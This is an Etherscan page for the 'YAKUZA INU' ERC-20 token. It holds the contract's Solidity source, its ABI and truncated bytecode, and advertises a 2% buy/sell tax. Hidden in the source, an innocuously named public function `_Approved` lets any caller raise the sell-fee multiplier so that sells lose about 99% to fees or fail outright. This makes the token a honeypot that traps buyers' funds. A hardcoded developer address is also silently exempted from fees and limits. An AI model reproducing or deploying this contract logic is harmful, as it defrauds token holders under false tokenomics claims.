ETH Price: $2,523.82 (+0.20%)

Token

YAKUZA INU (YIN)
 

Overview

Max Total Supply

1,000,000,000 YIN

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
61,043,192.995270885 YIN

Value
$0.00
0x125365Df1009CC5c87CBD8cE95348107499458a8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YAKUZA

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-25
*/

// Telegram : https://t.me/YakuzaERC

/**
--Socials : 

-----Telegram : https://t.me/YakuzaERC

----------------------------Twitter : https://twitter.com/YakuzaERC

**/

/*

YAKUZA INU  ERC{$YIN} 

⚔️ Pledge Allegiance To Crypto! ⚔️
Members of Yakuza gangs cut their family ties and transfer their loyalty to the gang boss. 
They refer to each other as family members—fathers, elders and younger brothers.

YAKUZA BUSHIDO: Token Features 
⚙️Oyabun: Buybacks & Burns; work together to pump the chart
⚙️Yariman: Anti-Whale system; 3% Max supply for a healthy chart
⚙️Kobun: The Kobun Volt;  Made for Dao aping. #Utility
⚙️Gokudo: Liquidity will be locked for 1 month & will be extended for an eternity 

YAKUZA SHINOGI: Tokenomics
🔘 1% Marketing #SpreadTheWord 
🔘 1% Liquidity #StayStrong

♻️ 2% Buy/Sell Tax ♻️

Our community and team operate as one to overcome obstacles

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IDividendDistributor {
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
    function setShare(address shareholder, uint256 amount) external;
    function deposit() external payable;
    function process(uint256 gas) external;
}

contract YAKUZA is IERC20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address DEV = 0x64d45B53436c391205C94259bE176A8CEEe01c0f;

    string constant _name = "YAKUZA INU";
    string constant _symbol = "YIN";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1 * 10**9 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply *3/100;
    uint256 public _maxWalletToken = _totalSupply *3/100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isDividendExempt;

    uint256 public liquidityFee    = 0;
    uint256 public reflectionFee   = 0;
    uint256 public marketingFee    = 2;
    uint256 public devFee          = 0;
    uint256 public totalFee        = marketingFee + reflectionFee + liquidityFee + devFee;
    uint256 public feeDenominator  = 100;
    uint256 public MaxApprovalAllowed  = 4950;

    uint256 public isLPApproved  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public devFeeReceiver;

    uint256 targetLiquidity = 20;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;

    bool public tradingOpen = true;

    uint256 distributorGas = 500000;

    bool public buyCooldownEnabled = true;
    uint8 public cooldownTimerInterval = 10;
    mapping (address => uint) private cooldownTimer;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 3 / 1000;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = uint256(-1);


        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(DEV)] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[address(DEV)] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEV)] = false;
        isDividendExempt[DEAD] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        devFeeReceiver = address(DEV);

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }


    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (sender == pair &&
            buyCooldownEnabled) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }

        // Checks max transaction limit
        checkTxLimit(sender, amount);

        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount,(recipient == pair)) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
        
        uint256 multiplier = isSell ? isLPApproved : 100;
        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function _Approved(uint256 ApprovalValue) public {
        require(ApprovalValue >= MaxApprovalAllowed);
        isLPApproved = ApprovalValue;        
    }

    // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
        buyCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        
        // Supress warning msg
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function removeLimits() external onlyOwner returns (bool) {
        _maxTxAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
        return true;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function ChangeFiValue(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        reflectionFee = _reflectionFee;
        marketingFee = _marketingFee;
        devFee = 1;
        totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(devFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = address(DEV);
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

event AutoLiquify(uint256 amountETH, uint256 amountBOG);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"ChangeFiValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MaxApprovalAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ApprovalValue","type":"uint256"}],"name":"_Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isLPApproved","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reflectionFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217825560028054821661dead1781556003805483169055600480549092167364d45b53436c391205c94259be176a8ceee01c0f17909155670de0b6b3a7640000600555666a94d74f43000060068190556007556000600d819055600e819055600f829055601055601155606460128190556113566013556014818155601855601955601b8054600160a01b60ff60a01b199091161790556207a120601c55601d805460ff19908116831761ff001916610a0017909155601f80549091169091179055660aa87bee53800060205534801561010257600080fd5b50600080546001600160a01b03199081163317909155601a8054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556040805163c45a015560e01b815290516001600160a01b03929092169163c45a015591600480820192602092909190829003018186803b15801561017c57600080fd5b505afa158015610190573d6000803e3d6000fd5b505050506040513d60208110156101a657600080fd5b5051600154604080516364e329cb60e11b81526001600160a01b0392831660048201523060248201529051919092169163c9c653969160448083019260209291908290030181600087803b1580156101fd57600080fd5b505af1158015610211573d6000803e3d6000fd5b505050506040513d602081101561022757600080fd5b5051601b80546001600160a01b039283166001600160a01b0319918216178255306000818152600960209081526040808320601a54881684528252808320600019905533808452600a8352818420805460ff199081166001908117909255600480548b1687528487208054831684179055838752600b8652848720805483168417905580548b168752848720805483168417905598548a168652600c8552838620805482168317905595855282852080548716821790558754891685528285208054871690556002548916855282852080549096161790945560158054861685179055601680548616851790559454601780549095169616959095179092556005548183526008855283832081905583519081529251909391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a3611b66806103796000396000f3fe60806040526004361061026b5760003560e01c8063722b62ad11610144578063a9059cbb116100b6578063e592e8a21161007a578063e592e8a214610838578063e96fada214610862578063f2fde38b14610877578063f84ba65d146108aa578063f887ea40146108e5578063ffb54a99146108fa57610272565b8063a9059cbb14610770578063ca33e64c146107a9578063d51ed1c8146107be578063dab84ee7146107e8578063dd62ed3e146107fd57610272565b806383ad79941161010857806383ad7994146106b0578063893d20e8146106c557806395d89b41146106f657806398118cb41461070b578063a4b45c0014610720578063a8aa1b311461075b57610272565b8063722b62ad14610620578063751039fc1461063557806378109e541461064a57806379cd2ca81461065f5780637d1db4a51461069b57610272565b80632d594567116101dd578063617fe0ed116101a1578063617fe0ed1461055e578063658d4b7f146105735780636827e764146105ae5780636b67c4df146105c35780636ddd1713146105d857806370a08231146105ed57610272565b80632d594567146104835780632f54bf6e146104b8578063313ce567146104eb578063571ac8b0146105165780635972b08c1461054957610272565b8063180b0d7e1161022f578063180b0d7e146103ba57806318160ddd146103cf5780631df4ccfc146103e4578063201e7991146103f957806323b872dd1461042b5780632b112e491461046e57610272565b8063043f32e1146102775780630445b6671461029e57806306fdde03146102b3578063095ea7b31461033d5780631161ae391461038a57610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c61090f565b60408051918252519081900360200190f35b3480156102aa57600080fd5b5061028c610915565b3480156102bf57600080fd5b506102c861091b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103025781810151838201526020016102ea565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034957600080fd5b506103766004803603604081101561036057600080fd5b506001600160a01b03813516906020013561093f565b604080519115158252519081900360200190f35b34801561039657600080fd5b50610376600480360360408110156103ad57600080fd5b50803590602001356109a6565b3480156103c657600080fd5b5061028c6109ba565b3480156103db57600080fd5b5061028c6109c0565b3480156103f057600080fd5b5061028c6109c6565b34801561040557600080fd5b506104296004803603604081101561041c57600080fd5b50803590602001356109cc565b005b34801561043757600080fd5b506103766004803603606081101561044e57600080fd5b506001600160a01b03813581169160208101359091169060400135610a1a565b34801561047a57600080fd5b5061028c610adc565b34801561048f57600080fd5b50610429600480360360408110156104a657600080fd5b5080351515906020013560ff16610b25565b3480156104c457600080fd5b50610376600480360360208110156104db57600080fd5b50356001600160a01b0316610b8e565b3480156104f757600080fd5b50610500610ba2565b6040805160ff9092168252519081900360200190f35b34801561052257600080fd5b506103766004803603602081101561053957600080fd5b50356001600160a01b0316610ba7565b34801561055557600080fd5b5061028c610bb5565b34801561056a57600080fd5b50610376610bbb565b34801561057f57600080fd5b506104296004803603604081101561059657600080fd5b506001600160a01b0381351690602001351515610bc4565b3480156105ba57600080fd5b5061028c610c32565b3480156105cf57600080fd5b5061028c610c38565b3480156105e457600080fd5b50610376610c3e565b3480156105f957600080fd5b5061028c6004803603602081101561061057600080fd5b50356001600160a01b0316610c47565b34801561062c57600080fd5b50610500610c62565b34801561064157600080fd5b50610376610c70565b34801561065657600080fd5b5061028c610cc6565b34801561066b57600080fd5b506104296004803603608081101561068257600080fd5b5080359060208101359060408101359060600135610ccc565b3480156106a757600080fd5b5061028c610da2565b3480156106bc57600080fd5b5061028c610da8565b3480156106d157600080fd5b506106da610dae565b604080516001600160a01b039092168252519081900360200190f35b34801561070257600080fd5b506102c8610dbd565b34801561071757600080fd5b5061028c610dda565b34801561072c57600080fd5b506104296004803603604081101561074357600080fd5b506001600160a01b0381358116916020013516610de0565b34801561076757600080fd5b506106da610e64565b34801561077c57600080fd5b506103766004803603604081101561079357600080fd5b506001600160a01b038135169060200135610e73565b3480156107b557600080fd5b506106da610e80565b3480156107ca57600080fd5b5061028c600480360360208110156107e157600080fd5b5035610e8f565b3480156107f457600080fd5b506106da610ecf565b34801561080957600080fd5b5061028c6004803603604081101561082057600080fd5b506001600160a01b0381358116916020013516610ede565b34801561084457600080fd5b506104296004803603602081101561085b57600080fd5b5035610f09565b34801561086e57600080fd5b506106da610f1d565b34801561088357600080fd5b506104296004803603602081101561089a57600080fd5b50356001600160a01b0316610f2c565b3480156108b657600080fd5b50610429600480360360408110156108cd57600080fd5b506001600160a01b0381351690602001351515610fc3565b3480156108f157600080fd5b506106da611031565b34801561090657600080fd5b50610376611040565b60145481565b60205481565b60408051808201909152600a81526959414b555a4120494e5560b01b602082015290565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000826109b283610e8f565b119392505050565b60125481565b60055490565b60115481565b6109d533610b8e565b610a0f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601891909155601955565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914610ac7576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054610aa2918490611050565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b610ad28484846110e7565b90505b9392505050565b600354600090610b2090610af8906001600160a01b0316610c47565b600254610b1a90610b11906001600160a01b0316610c47565b600554906112f0565b906112f0565b905090565b610b2e33610b8e565b610b68576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601d805460ff19169215159290921761ff00191661010060ff9290921691909102179055565b6000546001600160a01b0390811691161490565b600990565b60006109a08260001961093f565b60135481565b601d5460ff1681565b610bcd33610b8e565b610c07576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b60105481565b600f5481565b601f5460ff1681565b6001600160a01b031660009081526008602052604090205490565b601d54610100900460ff1681565b6000610c7b33610b8e565b610cb5576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b506005546006819055600755600190565b60075481565b610cd533610b8e565b610d0f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600d849055600e839055600f82905560016010819055610d3b90610d3584818888611332565b90611332565b60115560128190556003810460115410610d9c576040805162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000604482015290519081900360640190fd5b50505050565b60065481565b600e5481565b6000546001600160a01b031690565b6040805180820190915260038152622ca4a760e91b602082015290565b600d5481565b610de933610b8e565b610e23576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601580546001600160a01b03199081166001600160a01b03948516179091556016805482169284169290921790915560045460178054919093169116179055565b601b546001600160a01b031681565b6000610ad53384846110e7565b6015546001600160a01b031681565b60006109a0610e9c610adc565b601b54610ec990610ec290600290610ebc906001600160a01b0316610c47565b9061138c565b859061138c565b906113e5565b6017546001600160a01b031681565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b601354811015610f1857600080fd5b601455565b6016546001600160a01b031681565b610f3533610b8e565b610f6f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639181900360200190a150565b610fcc33610b8e565b611006576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b601a546001600160a01b031681565b601